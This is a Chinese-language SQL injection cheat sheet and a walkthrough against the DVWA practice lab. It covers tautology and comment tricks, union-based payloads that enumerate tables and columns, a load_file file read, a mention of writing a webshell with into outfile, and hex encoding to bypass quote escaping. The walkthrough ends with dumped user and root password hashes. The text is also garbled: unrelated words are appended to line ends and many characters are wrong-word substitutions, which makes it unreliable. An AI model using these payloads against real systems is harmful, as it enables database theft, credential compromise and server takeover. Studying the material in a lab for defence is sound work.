where user_id = 1 or 1=1mysql
where user_id = '1' or '1'='1'web
where user_id =" 1 "or "1"="1"sql
# 单行注释 注意与url中的#区分,常编码为%23shell
--空格 单行注释 注意为短线短线空格数据库
/*()*/ 多行注释 至少存在俩处的注入 /**/经常使用来做为空格工具
是否存在注入而且判断注入类型编码
判断字段数 order by url
肯定回显点 union select 1,2spa
查询数据库信息 @@version @@datadir操作系统
查询用户名,数据库名 user() database()
文件读取 union select 1,load_file('C:\\wondows\\win.ini')#
写入 webshell select..into outfile...
补充一点,使用sql注入遇到转义字符串的单引号或者双引号,可以使用HEX编码绕过
SQL Injection,即SQL注入,SQLi,是指攻击者经过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害巨大,经常会致使整个数据库被“脱裤”,现在SQL注入还是如今最多见的Web漏洞之一。
按SQLMap中的分类来看,SQL注入类型有如下5种:
UNION query SQL injection(可联合查询注入)
Stacked queries SQL injection(可多语句查询注入)堆叠查询
Boolean-based blind SQL injection(布尔型注入)
Error-based SQL injection(报错型注入)
Time-based blind SQL injection(基于时间延迟注入)
1、寻找注入点,能够经过 web 扫描工具实现
2、经过注入点,尝试得到关于链接数据库用户名、数据库名称、链接数据库用户权限、操做系统信息、数据库版本等相关信息。
3、猜解关键数据库表及其重要字段与内容(常见如存放管理员帐户的表名、字段名等信息)
3.1 还能够获取数据库的root帐号 密码—思路
4、能够经过得到的用户信息,寻找后台登陆。
5、利用后台或了解的进一步信息。
1.判断是否存在注入,注入是字符型仍是数字型
2.猜解 SQL 查询语句中的字段数
3.肯定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.查询到帐户的数据
1' union select 1,database()#
payload利用另外一种方式:
1' union select user(),database()#
Version()#
获得数据库名:dvwa
PS:union查询结合了两个select查询结果,根据上面的order by语句咱们知道查询包含两列,为了可以现实两列查询结果,咱们须要用union查询结合咱们构造的另一个select.注意在使用union查询的时候须要和主查询的列数相同。
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#
获得表名:guestbook,users
group_concat 分组
1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#
(用编码就不用单引号,用单引号就不用编码)
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password
列举出几种payload:
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
1' union select null,concat_ws(char(32,58,32),user,password) from users #
1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #
获得用户数据:
admin 5f4dcc3b5aa765d61d8327deb882cf99
1' union select 1,group_concat(user,password) from mysql.user#
获得root用户信息:
root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B